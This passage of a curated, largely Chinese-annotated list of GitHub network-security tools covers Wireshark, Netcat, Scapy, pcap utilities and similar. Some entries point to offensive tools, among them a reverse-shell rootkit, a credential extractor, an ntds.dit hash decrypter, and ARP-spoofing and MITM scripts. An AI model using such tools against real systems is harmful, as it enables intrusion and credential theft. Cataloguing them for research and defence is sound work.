- [**288**星][11m] [maaaaz/impacket-examples-windows](https://github.com/maaaaz/impacket-examples-windows) The great impacket example scripts compiled for Windows
- [**203**星][5d] [Py] [ropnop/impacket_static_binaries](https://github.com/ropnop/impacket_static_binaries) Standalone binaries for Linux/Windows of Impacket's examples
- [**88**星][10m] [Py] [dirkjanm/impacket](https://github.com/dirkjanm/impacket) Impacket is a collection of Python classes for working with network protocols.
- [**71**星][7m] [Py] [zer1t0/ticket_converter](https://github.com/zer1t0/ticket_converter) A little tool to convert ccache tickets into kirbi (KRB-CRED) and vice versa based on impacket.
- [**67**星][3y] [Py] [harmj0y/impdump](https://github.com/harmj0y/impdump) This is a simple parser for/decrypter for Impacket's esentutl.py utility. It assists with decrypting hashes and hash histories from ntds.dit databases.
***
## <a id="6fa0e0d1f898fba299b2566a33602841"></a>Wireshark
- [**4857**星][5d] [Go] [gcla/termshark](https://github.com/gcla/termshark) A terminal UI for tshark, inspired by Wireshark
- [**2409**星][4d] [C] [wireshark/wireshark](https://github.com/wireshark/wireshark) Wireshark
- [**988**星][23d] [Py] [kiminewt/pyshark](https://github.com/kiminewt/pyshark) Python wrapper for tshark, allowing python packet parsing using wireshark dissectors
- [**593**星][1y] [Py] [softscheck/tplink-smartplug](https://github.com/softscheck/tplink-smartplug) TP-Link WiFi SmartPlug Client and Wireshark Dissector
- [**499**星][8m] [Rust] [cloudflare/wirefilter](https://github.com/cloudflare/wirefilter) An execution engine for Wireshark-like filters
- [**354**星][2y] [Shell] [koenbuyens/kalirouter](https://github.com/koenbuyens/kalirouter) 将 KaliLinux 主机转变为路由器，使用 Wireshark 记录所有的网络流量，同时将 HTTP/HTTPS 流量发送到其他主机的拦截代理（例如 BurpSuite）
- [**343**星][6y] [JS] [evilcos/cookiehacker](https://github.com/evilcos/cookiehacker) Cookie利用
- [**295**星][2m] [Lua] [pentesteracademy/patoolkit](https://github.com/pentesteracademy/patoolkit) 一组流量分析插件，用于将Wireshark的功能从微分析工具和协议解析器扩展到宏分析器和威胁猎人。
- [**184**星][1y] [Lua] [ntop/wireshark-ntop](https://github.com/ntop/wireshark-ntop) Extensions for Wireshark
- [**163**星][10m] [C] [davidgfnet/wireshark-whatsapp](https://github.com/davidgfnet/wireshark-whatsapp) Whatsapp dissector plugin for wireshark
- [**151**星][11m] [Py] [wangshub/hmpa-pi](https://github.com/wangshub/hmpa-pi) 在树莓派上，利用 Wireshark 扫描附近网络 WiFi 设备，并对扫描结果通过邮件或者微信进行推送
- [**135**星][5y] [Py] [ashdnazg/pyreshark](https://github.com/ashdnazg/pyreshark) A Wireshark plugin providing a simple interface for writing dissectors in Python.
- [**97**星][8m] [Shell] [shadowhatesyou/pipetap.sh](https://github.com/shadowhatesyou/pipetap.sh) This script invokes tcpdump over ssh piping to STDOUT, allowing remote use of wireshark
- [**85**星][6y] [C] [armenb/sharktools](https://github.com/armenb/sharktools) Tools for programmatic parsing of packet captures using Wireshark functionality
- [**68**星][3y] [CMake] [bastilleresearch/gr-nordic](https://github.com/bastilleresearch/gr-nordic) GNU Radio module and Wireshark dissector for the Nordic Semiconductor nRF24L Enhanced Shockburst protocol.
- [**66**星][10m] [security-cheatsheet/wireshark-cheatsheet](https://github.com/security-cheatsheet/wireshark-cheatsheet) Wireshark Cheat Sheet
- [**55**星][2m] [C] [secureauthcorp/sap-dissection-plug-in-for-wireshark](https://github.com/SecureAuthCorp/SAP-Dissection-plug-in-for-Wireshark) This Wireshark plugin provides dissection of SAP's NI, Diag, Enqueue, Router, Message Server, SNC and IGS protocols.
- [**46**星][3y] [C] [rpcapd-linux/rpcapd-linux](https://github.com/rpcapd-linux/rpcapd-linux) 为Windows版本的Wireshark提供远程流量捕获的守护程序
- 重复区段: [分析->工具->捕获](#d7485f829bd85cd784ff582cbddc8624) |
- [**40**星][6m] [Lua] [whitequark/zmtp-wireshark](https://github.com/whitequark/zmtp-wireshark) A Wireshark dissector for ZMTP version 3.0 and later (ZeroMQ 4 and later)
- [**39**星][2y] [Lua] [bcsecorg/ethereum_devp2p_wireshark_dissector](https://github.com/bcsecorg/ethereum_devp2p_wireshark_dissector) This is Ethereum devp2p protocol dissector plugin for wireshark.
- [**33**星][1y] [seemoo-lab/wireshark-awdl](https://github.com/seemoo-lab/wireshark-awdl) Wireshark Dissector for Apple Wireless Direct Link (AWDL) and Apple's CoreCapture logging framework. Note: the AWDL dissector is part of Wireshark 3.0!
- [**21**星][12m] [Lua] [cloudshark/wireshark-plugin](https://github.com/cloudshark/wireshark-plugin) Upload captures directly to CloudShark from Wireshark
- [**17**星][6m] [Lua] [markopaul0/wirebait](https://github.com/markopaul0/wirebait) Run and test your Lua Wireshark dissector without Wireshark or capture data.
- [**9**星][2m] [C] [thephez/wireshark-plugin-dash](https://github.com/thephez/wireshark-plugin-dash) Wireshark dissector plugin for the Dash cryptocurrency protocol
- [**6**星][1y] [Py] [kiminewt/pyshark-legacy](https://github.com/kiminewt/pyshark-legacy) Python wrapper for tshark, allowing python packet parsing using wireshark dissectors (Python2 legacy version)
- [**2**星][6y] [C] [frederic/dfb-wireshark-dissector](https://github.com/frederic/dfb-wireshark-dissector) Wireshark dissector for Voodoo protocol, network layer of DirectFB.
- [**2**星][11m] [Java] [nberktumer/comp416-packet-sniffer](https://github.com/nberktumer/comp416-packet-sniffer) A simple data transfer program using TCP written in Java for sniffing the data using WireShark
- [**2**星][2y] [Lua] [sihaiyang0215/wiresharkdissector](https://github.com/sihaiyang0215/wiresharkdissector) Lua dissector for Minecraft 1.8.9 PC Edition
- [**1**星][9m] [wtanaka/ansible-role-wireshark](https://github.com/wtanaka/ansible-role-wireshark) Ansible role to install wireshark
- [**0**星][6y] [C] [mjeanson/wireshark-gmetric](https://github.com/mjeanson/wireshark-gmetric) Ganglia gmetric protocol dissector for Wireshark
***
## <a id="b35965810463fb97b1ca26d94a8b62f0"></a>Netcat
- [**1357**星][4m] [Rust] [vi/websocat](https://github.com/vi/websocat) Command-line client for WebSockets, like netcat (or curl) for ws:// with advanced socat-like functions
- [**831**星][2y] [PS] [besimorhino/powercat](https://github.com/besimorhino/powercat) PowerShell实现的Netcat
- [**490**星][3y] [PS] [secabstraction/powercat](https://github.com/secabstraction/powercat) 可与Netcat和Ncat一起使用的PowerShell TCP / IP瑞士军刀
- [**329**星][6y] [C] [diegocr/netcat](https://github.com/diegocr/netcat) NetCat for Windows
- [**264**星][1y] [JS] [roccomuso/netcat](https://github.com/roccomuso/netcat) Netcat client and server modules written in pure Javascript for Node.j
- [**150**星][3y] [Py] [nullarray/pycat](https://github.com/nullarray/pycat) Python network tool, similar to Netcat with custom features.
- [**41**星][6y] [PHP] [spiderlabs/upnp-request-generator](https://github.com/spiderlabs/upnp-request-generator) A tool to parse UPnP descriptor XML files and generate SOAP control requests for use with Burp Suite or netcat
- [**33**星][1m] [Py] [rhelmot/nclib](https://github.com/rhelmot/nclib) Netcat as a python library
- [**25**星][3y] [Py] [sc0tfree/netbyte](https://github.com/sc0tfree/netbyte) Netbyte is a Netcat-style tool that facilitates probing proprietary TCP and UDP services. It is lightweight, fully interactive and provides formatted output in both hexadecimal and ASCII.
- [**20**星][2y] [C] [pinkp4nther/pinkit](https://github.com/pinkp4nther/pinkit) A quick LKM rootkit that executes a reverse TCP netcat shell with root privileges.
- [**15**星][2y] [Swift] [vgmoose/nc-client](https://github.com/vgmoose/nc-client) [iOS] netcat gui app, for using the 10.1.x mach_portal root exploit on device
- [**10**星][10m] [JS] [roccomuso/nc](https://github.com/roccomuso/nc) Porting Netcat in Node.js. CLI util.
- [**7**星][7y] [C] [mainframed/nc110-omvs](https://github.com/mainframed/nc110-omvs) NetCat 110 with changes to support OMVS on z/OS
- [**6**星][4y] [Py] [paradoxis/reverse-shell-client](https://github.com/paradoxis/reverse-shell-client) The reverse shell client is a Python based alternative for a netcat reverse shell listener
- [**5**星][2y] [Shell] [foospidy/fuzzcat](https://github.com/foospidy/fuzzcat) Rudimentary network protocol fuzzer using bash, netcat, and other tools.
- [**4**星][12y] [C++] [liamkirton/sslcat](https://github.com/liamkirton/sslcat) [2008] Windows netcat for SSL
***
## <a id="01f99d208e245eb44f15f720043b50d4"></a>Scapy
- [**4678**星][4d] [Py] [secdev/scapy](https://github.com/secdev/scapy) 交互式数据包操作, Python, 命令行+库
- [**796**星][8m] [Py] [phaethon/kamene](https://github.com/phaethon/kamene) Network packet and pcap file crafting/sniffing/manipulation/visualization security tool. Originally forked from scapy in 2015 and providing python3 compatibility since then.
- 重复区段: [分析->工具->嗅探](#32739127f0c38d61b14448c66a797098) |
- [**309**星][1y] [Py] [tintinweb/scapy-ssl_tls](https://github.com/tintinweb/scapy-ssl_tls) 用于Scapy，在SSL/TLS层进行交互式的数据包篡改
- [**274**星][4m] [Py] [invernizzi/scapy-http](https://github.com/invernizzi/scapy-http) Support for HTTP in Scapy
- [**186**星][5y] [Py] [rpp0/scapy-fakeap](https://github.com/rpp0/scapy-fakeap) Fake wireless Access Point (AP) implementation using Python and Scapy, intended for convenient testing of 802.11 protocols and implementations.
- [**64**星][3y] [Py] [milesrichardson/docker-nfqueue-scapy](https://github.com/milesrichardson/docker-nfqueue-scapy) Docker容器，使用python脚本在netfilter队列中监听数据包，并使用scapy操作数据包。
- [**47**星][4y] [Py] [bastilleresearch/scapy-radio](https://github.com/bastilleresearch/scapy-radio) scapy-radio (from original Hg repo)
- [**45**星][4y] [Py] [scy-phy/scapy-cip-enip](https://github.com/scy-phy/scapy-cip-enip) EtherNet/IP+CIP dissector for Scapy
- [**41**星][5y] [Py] [nimai/mptcp-scapy](https://github.com/nimai/mptcp-scapy) MPTCP firewall tester based on scapy
- [**33**星][2y] [Py] [guedou/r2scapy](https://github.com/guedou/r2scapy) a radare2 plugin that decodes packets with Scapy
- [**32**星][3m] [Py] [amossys/fragscapy](https://github.com/amossys/fragscapy) Fragscapy is a command-line tool to fuzz network protocols by automating the modification of outgoing network packets. It can run multiple successive tests to determine which options can be used to evade firewalls and IDS.
- [**25**星][4y] [Py] [averagesecurityguy/scapy](https://github.com/averagesecurityguy/scapy) Scapy Presentation and Code
- [**23**星][7m] [Py] [antisomnus/sniffer](https://github.com/antisomnus/sniffer) Simple sniffer using scapy and PyQt5 on Windows 10
- 重复区段: [分析->工具->嗅探](#32739127f0c38d61b14448c66a797098) |
- [**19**星][5y] [Py] [feanaur/scapy-pentest](https://github.com/feanaur/scapy-pentest) Scapy Penetration testing scripts
- [**14**星][5y] [Py] [azz2k/scapy-rssi](https://github.com/azz2k/scapy-rssi) Example of how to read RSSI values from wifi packaged using Scapy
- [**13**星][4y] [Py] [rahilsharma/scapy-wireless-scanner](https://github.com/rahilsharma/scapy-wireless-scanner) Final Yr. Project B Tech CSE. Simple wireless scanner built using Scapy Library.
- [**12**星][2y] [Py] [imadhsissou/python-arp-spoofer](https://github.com/imadhsissou/python-arp-spoofer) A friendly command-line spoofing tool written in python using scapy and netifaces.
- 重复区段: [网络攻击->工具->伪造](#f855508acfc870b1f0d90ff316f1dd75) |
- [**10**星][11m] [Py] [daniel4x/mitm-python](https://github.com/daniel4x/mitm-python) A simple as possible man in the middle written in python using scapy
- 重复区段: [中间人->未分类](#42f9e068b6511bcbb47d6b2b273097da) |
- [**10**星][5y] [Py] [emileaben/scapy-dns-ninja](https://github.com/emileaben/scapy-dns-ninja) Minimal DNS answering machine, for customized/programmable answers
- [**9**星][5m] [Py] [skyplabs/scapy-mitm](https://github.com/skyplabs/scapy-mitm) ARP cache poisoning implementation using Scapy
- 重复区段: [中间人->未分类](#42f9e068b6511bcbb47d6b2b273097da) |
- [**3**星][4y] [Py] [mk-fg/scapy-nflog-capture](https://github.com/mk-fg/scapy-nflog-capture) Driver for scapy to allow capturing packets via Linux NFLOG interface
***
## <a id="b293f791ec9366957733415323755aa6"></a>Tcpdump
- [**1186**星][19d] [C] [the-tcpdump-group/tcpdump](https://github.com/the-tcpdump-group/tcpdump) the TCPdump network dissector
- [**231**星][1m] [Go] [cloudflare/xdpcap](https://github.com/cloudflare/xdpcap) tcpdump like XDP packet capture
- [**59**星][2y] [Py] [yandex/tcplanz](https://github.com/yandex/tcplanz) TCPDump latency analyzer
- [**45**星][5y] [sergk/cheatsheat-tcpdump](https://github.com/sergk/cheatsheat-tcpdump) cheatsheat-tcpdump
- [**34**星][8y] [C#] [advtools/advsock2pipe](https://github.com/advtools/advsock2pipe) A small utility to connect a TCP socket to a Windows named pipe. It can be used, for exemple, to capture network data with tcpdump on Linux or iPhone/iPad and to see the capture in (almost) realtime in Wireshark on Windows. Released under GPLv3.
- [**32**星][1m] [C++] [f18m/large-pcap-analyzer](https://github.com/f18m/large-pcap-analyzer) A command-line utility program that performs some simple operations on PCAP files (Wireshark/tcpdump traces) very quickly. Allows you to manipulate very large PCAP files that cannot be easily handled with other software like Wireshark (or tshark). Supports filtering encapsulated GTPu frames. Easily extendible.
- [**3**星][4y] [Py] [wouter-glasswall/rogueap](https://github.com/wouter-glasswall/rogueap) Start a rogue access point with no effort, with support for hostapd, airbase, sslstrip, sslsplit, tcpdump builtin
- [**2**星][2y] [wtanaka/ansible-role-tcpdump](https://github.com/wtanaka/ansible-role-tcpdump) Ansible role to install tcpdump
***
## <a id="f13469c9891173804423be4403b2c4ff"></a>pcap
### <a id="d365897ae51adc286d4e6f6787924d69"></a>收集
- [**188**星][3y] [Lua] [automayt/ics-pcap](https://github.com/automayt/ics-pcap) ICS/SCADA PCAP收集
- [**30**星][4y] [neu5ron/malware-traffic-analysis-pcaps](https://github.com/neu5ron/malware-traffic-analysis-pcaps) 网站malware-traffic-analysis.net的pcap文件托管
### <a id="eb49514924c3f4bf2acf6f3a4436af13"></a>未分类
- [**765**星][5m] [Py] [lgandx/pcredz](https://github.com/lgandx/pcredz) This tool extracts Credit card numbers, NTLM(DCE-RPC, HTTP, SQL, LDAP, etc), Kerberos (AS-REQ Pre-Auth etype 23), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, etc from a pcap file or from a live interface.
- [**419**星][11m] [C] [jpr5/ngrep](https://github.com/jpr5/ngrep) 应用于网络层的类似与grep的工具。基于PCAP，可指定扩展的正则表达式或十六进制表达式，对数据包的数据payload进行匹配
- [**380**星][2m] [Py] [0x4d31/fatt](https://github.com/0x4d31/fatt) FATT /fingerprintAllTheThings - a pyshark based script for extracting network metadata and fingerprints from pcap files and live network traffic
- [**340**星][11d] [JS] [dns-oarc/packetq](https://github.com/dns-oarc/packetq) A tool that provides a basic SQL-frontend to PCAP-files
- [**225**星][1m] [Py] [secureworks/dalton](https://github.com/secureworks/dalton) 使用预定义/指定的规则, 针对IDS传感器(例如Snort/Suricata)进行网络数据包捕获
- [**216**星][2y] [C++] [spacehuhn/arduinopcap](https://github.com/spacehuhn/arduinopcap) 使用ESP8266 / ESP32和Arduin，创建并发送pcap文件
- [**123**星][2y] [Py] [blazeinfosec/pcrappyfuzzer](https://github.com/blazeinfosec/pcrappyfuzzer) pcrappyfuzzer：Scapy+ radamsa 的简单组合，从 pcap 文件中提取数据，执行快速 Fuzz
- [**123**星][3m] [XSLT] [pcapng/pcapng](https://github.com/pcapng/pcapng) PCAP下一代文件格式规范
- [**112**星][11m] [C] [rup0rt/pcapfix](https://github.com/rup0rt/pcapfix) 修复损坏的pcap文件
- [**95**星][1y] [Py] [hgn/captcp](https://github.com/hgn/captcp) A open source program for TCP analysis of PCAP files
- [**88**星][3y] [Py] [azizaltuntas/network-analysis-tools](https://github.com/azizaltuntas/network-analysis-tools) Pcap (capture file) Analysis Toolkit(v.1)
- [**79**星][1y] [Py] [shendo/websnort](https://github.com/shendo/websnort) Web service for scanning pcaps with snort
- [**64**星][3y] [Ruby] [danielmiessler/caparser](https://github.com/danielmiessler/caparser) A quick and dirty PCAP parser that helps you identify who your applications are sending sensitive data to without encryption.
- [**61**星][6y] [Py] [kevthehermit/yarapcap](https://github.com/kevthehermit/yarapcap) 使用YARA处理HTTP Pcap
- [**52**星][6y] [Py] [kevthehermit/maildb](https://github.com/kevthehermit/maildb) Python Web App to Parse and Track Email and http Pcap Files.
- [**42**星][9m] [Go] [dreadl0ck/gopcap](https://github.com/dreadl0ck/gopcap) Go语言编写的Pcap读取器，提供与同类工具的基准测试比较
- [**39**星][3m] [spiderlabs/iocs-idps](https://github.com/spiderlabs/iocs-idps) This repository will hold PCAP IOC data related with known malware samples (owner: Bryant Smith)
- [**37**星][8m] [Jupyter Notebook] [h21lab/anomaly-detection](https://github.com/h21lab/anomaly-detection) Scripts to help to detect anomalies in pcap file. Anomaly Detection using tensorflow and tshark.
- [**37**星][8y] [JS] [mudynamics/pcapr-local](https://github.com/mudynamics/pcapr-local) 浏览与管理大规模的pcap文件
- [**36**星][4m] [Py] [cisco-talos/re2pcap](https://github.com/cisco-talos/re2pcap) 用原始HTTP请求或响应创建PCAP文件
- [**36**星][11m] [Go] [hdiniz/rtpdump](https://github.com/hdiniz/rtpdump) Extract audio file from RTP streams in pcap format
- [**35**星][2y] [Py] [newbee119/ip-location](https://github.com/NewBee119/IP-location) batch query IP location information，批量查询IP地理位置信息，解析pcap包中IP地址的地理信息
- [**34**星][11m] [Go] [justinazoff/flow-indexer](https://github.com/justinazoff/flow-indexer) Flow-Indexer indexes flows found in chunked log files from bro,nfdump,syslog, or pcap files
- [**32**星][3m] [C#] [globalpolicy/csarp-netcut](https://github.com/globalpolicy/csarp-netcut) An arpspoof program using Sharppcap
- [**28**星][1y] [C] [lpefferkorn/ipdecap](https://github.com/lpefferkorn/ipdecap) Decapsulate traffic encapsulated within GRE, IPIP, 6in4, ESP (ipsec) protocols, can also remove IEEE 802.1Q (virtual lan) header. Works with pcap files.
- [**28**星][2y] [tatsui-geek/malware-traffic-analysis.net](https://github.com/tatsui-geek/malware-traffic-analysis.net) Download pcap files from
- [**27**星][2y] [Lua] [shengnoah/riff](https://github.com/shengnoah/riff) 一个基于lua插件的pcap监控工具。
- [**26**星][2y] [R] [hrbrmstr/crafter](https://github.com/hrbrmstr/crafter) Analyze and Visualize Network Packet Capture (PCAP) Files
- [**24**星][7y] [Ruby] [chrislee35/flowtag](https://github.com/chrislee35/flowtag) FlowTag visualizes pcap files for forensic analysis
- [**23**星][2y] [Py] [fireeye/brocapi](https://github.com/fireeye/brocapi) Bro PCAP Processing and Tagging API
- [**22**星][5y] [Py] [catalyst256/gobbler](https://github.com/catalyst256/gobbler) Gobbling it's way through your pcap files
- [**21**星][6m] [Go] [d4-project/sensor-d4-tls-fingerprinting](https://github.com/d4-project/sensor-d4-tls-fingerprinting) Extract TLS certificates from pcap files or network interfaces, fingerprint TLS client/server interactions with ja3/ja3s
- [**21**星][1y] [C] [the-tcpdump-group/tcpslice](https://github.com/the-tcpdump-group/tcpslice) tcpslice concatenates multiple pcap files together, or extracts time slices from one or more pcap files.
- [**20**星][1y] [Py] [slgobinath/pcap-processor](https://github.com/slgobinath/pcap-processor) 读取和处理pcap文件
- [**18**星][1y] [Go] [dirkduesentrieb/fgsniffer](https://github.com/dirkduesentrieb/fgsniffer) Convert Fortigates "diagnose sniffer" output to pcap files
- [**17**星][2y] [C++] [awgn/captop](https://github.com/awgn/captop) Utility to measure the performance of pcap network interfaces.
- [**17**星][1y] [Py] [dr0op/msfrpcapi](https://github.com/dr0op/msfrpcapi) MSF RPC API调用文档及demo
- [**16**星][1m] [Rust] [courvoif/pcap-file](https://github.com/courvoif/pcap-file) pcap读取与写入
- [**13**星][6y] [C] [ashishraste/arp-dns-attacks](https://github.com/ashishraste/arp-dns-attacks) ARP spoofing, HTTP redirection, DNS spoofing and DNS forging using pcap library
- [**13**星][6y] [Py] [catalyst256/pdfhunter](https://github.com/catalyst256/pdfhunter) Looks for pdf files in pcap files and rebuilds them
- [**12**星][2y] [Py] [johnbergbom/peddlecheap](https://github.com/johnbergbom/peddlecheap) Pcaps for PeddleCheap and implant communication + script for interpreting and decrypting pcaps.
- [**11**星][1y] [JS] [hellvinz/goredis](https://github.com/hellvinz/goredis) live monitoring redis commands via pcap in a browser
- [**11**星][5m] [Py] [teto/mptcpanalyzer](https://github.com/teto/mptcpanalyzer) Tool to help analyze mptcp pcaps
- [**9**星][11m] [C] [cedricol07/p2a](https://github.com/cedricol07/p2a) Parse Pcap for Anomalies
- [**9**星][1y] [Py] [yojiwatanabe/networkalarm](https://github.com/yojiwatanabe/networkalarm) A tool to monitor local network traffic for possible security vulnerabilities. Warns user against possible nmap scans, Nikto scans, credentials sent in-the-clear, and shellshock attacks. Currently supports live monitoring and network capture (pcap) scanning.
- [**6**星][1y] [C] [dns-oarc/pcap-thread](https://github.com/dns-oarc/pcap-thread) pcap辅助库，支持POSIX线程和透明层回调
- [**6**星][2y] [C] [jduncanator/isniff](https://github.com/jduncanator/isniff) Packet capture and network sniffer for Apple iOS devices (iPhone / iPod). An implementation of iOS 5+ Remote Virtual Interface service and pcapd.
- [**3**星][8m] [C] [sizet/packet_capture](https://github.com/sizet/packet_capture) 使用 raw socket 和搭配輔助資料 (ancillary data (PACKET_AUXDATA), 適用於 2.6.21 之後的核心) 監聽和記錄 (pcap 格式) 乙太網路介面上傳送和接收的封包.
- [**2**星][3m] [Py] [lucadivit/pcap_features_extraction](https://github.com/lucadivit/pcap_features_extraction) This program allow you to extract some features from pcap files.
- [**1**星][2y] [C++] [broadsword007/wolfpack](https://github.com/broadsword007/wolfpack) Wolf Pack is a cross-platform network traffic analyzer built using Qt and Library PcapPlusPlus
- [**1**星][2y] [C#] [hidd3ncod3s/pcap2saz](https://github.com/hidd3ncod3s/pcap2saz) Converts HTTP flows in pcap file into SAZ file
- [**1**星][11m] [Py] [techathena/veritas](https://github.com/techathena/veritas) pcap analyser that uses rest api for IP/URL reputation and also for obtaining URL's
- [**1**星][8m] [C++] [z4ziggy/esp8266_pcap_serial](https://github.com/z4ziggy/esp8266_pcap_serial) ESP8266 Sniffer sketch which outputs PCAP data via Serial.
- [**1**星][8m] [C] [z4ziggy/esp8266_pcap_uart](https://github.com/z4ziggy/esp8266_pcap_uart) ESP8266 Sniffer firmware which outputs PCAP data via UART.
- [**1**星][6m] [Py] [tylerp96/pcap-blaster](https://github.com/tylerp96/pcap-blaster) General Purpose PCAP Fuzzer
- [**0**星][1y] [C++] [craiganv/sniffing_stuff](https://github.com/CraigANV/sniffing_stuff) Playing around with pcap, for capturing probe request packets mainly
- [**0**星][1y] [Ruby] [enukane/pcap80211analyzer](https://github.com/enukane/pcap80211analyzer) not-so-smart 802.11 frame pcapng analyzer
- [**0**星][6y] [Py] [hughobrien/wlan-stats](https://github.com/hughobrien/wlan-stats) Tool chain using tshark to pull data from pcaps, further process them in python, and graph the output in R.
### <a id="b239f12aca7aa942b45836032cbef99a"></a>转换
- [**237**星][2y] [Py] [jullrich/pcap2curl](https://github.com/jullrich/pcap2curl) 提取网络数据包中的HTTP 请求，转化为 cURL 指令，用于 replay
- [**191**星][6y] [Py] [andrewf/pcap2har](https://github.com/andrewf/pcap2har) 将pcap文件转为HTTP归档文件
- [**45**星][5y] [securitytube/pcap2xml](https://github.com/securitytube/pcap2xml) 将802.11数据包跟踪转换为XML和SQLITE格式
***
## <a id="8bc2e181f74ba67ec93fd2a13d95cc0c"></a>libpcap
- [**1225**星][4d] [C] [the-tcpdump-group/libpcap](https://github.com/the-tcpdump-group/libpcap) the LIBpcap interface to various kernel packet capture mechanism
- [**783**星][1y] [JS] [node-pcap/node_pcap](https://github.com/node-pcap/node_pcap) libpcap bindings for node
- [**508**星][4d] [C] [pmacct/pmacct](https://github.com/pmacct/pmacct) pmacct is a small set of multi-purpose passive network monitoring tools [NetFlow IPFIX sFlow libpcap BGP BMP RPKI IGP Streaming Telemetry].
- [**323**星][6m] [HTML] [helpsystems/pcapy](https://github.com/helpsystems/pcapy) Pcapy is a Python extension module that interfaces with the libpcap packet capture library.
- [**213**星][5m] [Py] [pynetwork/pypcap](https://github.com/pynetwork/pypcap) python libpcap 模块
- [**96**星][9y] [Py] [dugsong/pypcap](https://github.com/dugsong/pypcap) libpcap的Python包装
- [**67**星][4y] [C] [luigirizzo/netmap-libpcap](https://github.com/luigirizzo/netmap-libpcap) Automatically exported from code.google.com/p/netmap-libpcap
- [**48**星][5y] [Py] [allfro/pcappy](https://github.com/allfro/pcappy) A pure Python libpcap wrapper!
- [**42**星][6y] [Ruby] [sophsec/ffi-pcap](https://github.com/sophsec/ffi-pcap) Ruby FFI bindings for libpcap.
- [**19**星][6d] [Crystal] [maiha/pcap.cr](https://github.com/maiha/pcap.cr) Crystal bindings for libpcap
- [**13**星][10m] [C] [c-bata/xpcap](https://github.com/c-bata/xpcap) Cross-platform Packet Capture which supports Linux and macOS(BSD) in 1000 LOC without depending on libpcap.
- [**8**星][1y] [C] [weaknetlabs/libpcap-80211-c](https://github.com/weaknetlabs/libpcap-80211-c) 802.11 Libpcap and C
- [**4**星][11y] [tadashi/wifi-monitor](https://github.com/tadashi/wifi-monitor) python, py_libpcap, handover
- [**3**星][9d] [Rust] [jmmk/rustcap](https://github.com/jmmk/rustcap) Rust wrapper for libpcap
- [**2**星][3y] [Py] [killswitch-gui/nix-sniffer-examples](https://github.com/killswitch-gui/nix-sniffer-examples) Python ctypes libpcap examples
- [**0**星][3y] [C] [h3pr5tq/get-rssi](https://github.com/h3pr5tq/get-rssi) Linux utility for getting RSSI WiFi of APs to text file. Using Monitor mode, libpcap. Useful for experiments with WiFi (example, localization).
***
## <a id="5303e6ae470e6def3b69d614674a1c46"></a>WinPcap
- [**236**星][4y] [C] [softethervpn/win10pcap](https://github.com/softethervpn/win10pcap) Windows 10 WinPcap (NDIS 6.x 驱动模式)
- [**113**星][4y] [C] [wireshark/winpcap](https://github.com/wireshark/winpcap) WinPcap数据包捕获库
- [**51**星][2y] [Py] [orweis/winpcapy](https://github.com/orweis/winpcapy) A Modern Python wrapper for WinPcap
- [**33**星][2y] [Batchfile] [3gstudent/winpcap_install](https://github.com/3gstudent/winpcap_install) Auto install WinPcap on Windows(command line)
- [**10**星][6m] [C] [sageaxcess/pcap-ndis6](https://github.com/sageaxcess/pcap-ndis6) WinPCAP for NDIS 6.x
***
## <a id="31d28e8b2cf6c06411cd5d178dbd3e77"></a>fiddler
- [**448**星][3d] [C#] [malwareinfosec/ekfiddle](https://github.com/malwareinfosec/ekfiddle) Fiddler Web调试器的框架，用于研究漏洞利用工具包、恶意广告和恶意流量
- 重复区段: [分析->工具->未分类](#b346105580b0240d693020ce8719ebca) |
- [**297**星][1y] [JS] [xxxily/fiddler-plus](https://github.com/xxxily/fiddler-plus) 自定义的Fiddler规则，多环境切换、解决跨域开发、快速调试线上代码必备|高效调试分析利器
- [**81**星][4y] [C#] [david-risney/csp-fiddler-extension](https://github.com/david-risney/csp-fiddler-extension) Content Security Policy rule collector extension for Fiddler
- [**76**星][2y] [C#] [vahidn/process-proxifier](https://github.com/vahidn/process-proxifier) Using FiddlerCore to add proxy settings to the Windows applications
- [**46**星][8m] [JS] [radenvodka/pentol](https://github.com/radenvodka/pentol) PENTOL - Pentester Toolkit for Fiddler2
- [**24**星][6y] [Py] [emergingthreats/fiddler2pcap](https://github.com/emergingthreats/fiddler2pcap) fiddler插件，输出到pcap
- [**14**星][8m] [C#] [jprknight/exofiddlerextension](https://github.com/jprknight/exofiddlerextension) The Exchange Online Fiddler Extension
- [**2**星][1y] [Go] [progtramder/webproxy](https://github.com/progtramder/webproxy) A fiddler-like webproxy, support sniffing http/https content by implementing 'Sniffer' interface
- 重复区段: [分析->工具->嗅探](#32739127f0c38d61b14448c66a797098) |
***
## <a id="64f068672e615343db9235f1973d8fba"></a>网络数据包
- [**6630**星][5d] [Py] [networkx/networkx](https://github.com/networkx/networkx) 用于创建、操纵和研究复杂网络的结构，Python包
- [**517**星][2m] [C] [libnet/libnet](https://github.com/libnet/libnet) 创建和注入网络数据包
- [**360**星][3y] [C] [rafael-santiago/pig](https://github.com/rafael-santiago/pig) Linux数据包创建工具
- [**289**星][6d] [C] [troglobit/nemesis](https://github.com/troglobit/nemesis) 网络数据包构造和注入的命令行工具
- [**127**星][1m] [C] [cisco-talos/file2pcap](https://github.com/cisco-talos/file2pcap) 创建各种类型的数据包捕获文件，其中包含指定的任何文件的内容
***
## <a id="eec238a1a2657b70f7bbbe68a4421249"></a>其他
- [**15856**星][] [C] [curl/curl](https://github.com/curl/curl) 命令行工具和库，使用URL语法传输数据，支持HTTP，HTTPS，FTP，FTPS，GOPHER，TFTP，SCP，SFTP，SMB，TELNET，DICT，LDAP，LDAPS，FILE，IMAP，SMTP，POP3，RTSP和RTMP。libcurl提供了许多强大的功能
- [**4152**星][1y] [JS] [kdzwinel/betwixt](https://github.com/kdzwinel/betwixt) 在浏览器外，使用熟悉的Chrome DevTools界面分析网络流量
- [**2363**星][2m] [Lua] [snabbco/snabb](https://github.com/snabbco/snabb) 网络工具包，简单、快速
- [**1211**星][2y] [C] [saminiir/level-ip](https://github.com/saminiir/level-ip) Linux用户模式 TCP/IP 栈，使用 TUN/TAP 设备（操作系统内核中的虚拟网络设备）实现
- [**821**星][11d] [C] [emmericp/ixy](https://github.com/emmericp/ixy) 简单用户空间数据包处理。控制网络适配器，并在用户空间中实现整个驱动程序
- [**686**星][5y] [C] [antirez/hping](https://github.com/antirez/hping) 发送自定义的TCP / IP数据包并显示目标回复，类似ping ICMP回复
- [**675**星][22d] [Py] [kbandla/dpkt](https://github.com/kbandla/dpkt) 快速、简单的数据包创建/解析，带有基本TCP / IP协议的定义
- [**612**星][3y] [Py] [omriher/captipper](https://github.com/omriher/captipper) 分析、探索和恢复HTTP恶意流量，Python工具
- [**511**星][2y] [Py] [sjvasquez/web-traffic-forecasting](https://github.com/sjvasquez/web-traffic-forecasting) 在Kaggle主持的Web流量预测竞赛的解决方案
